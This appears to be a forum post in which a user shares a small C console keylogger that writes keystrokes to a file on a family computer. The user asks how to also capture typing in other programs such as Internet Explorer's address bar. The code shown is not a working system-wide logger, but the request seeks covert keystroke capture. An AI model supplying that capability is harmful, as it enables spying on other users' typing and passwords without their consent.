So, at this point I have
Code:
#include <stdio.h>
#include <stdlib.h>
#include <iostream.h>
#include <windows.h>
#include <wininet.h>
#include <time.h>
#include <conio.h>
int main()
{
int c;
FILE *fp;
if ((fp = fopen("C:\\Documents and Settings\\Famliy\\Desktop\\loggerkey.txt", "wb")) == NULL)
{
printf("Cannot open file for writing");
exit(EXIT_FAILURE);
}
while ((c = getch()) != '~')
{
putchar(c);
fputc(c, fp);
}
fclose(fp);
return 0;
} // main
The problem is, the logger stops loggin after another program is clicked. So say if I ran the program, then internet explorer, whatever I type in the address bar of internet explorerer is not logged. Is there any input/output stream function that can deal with this?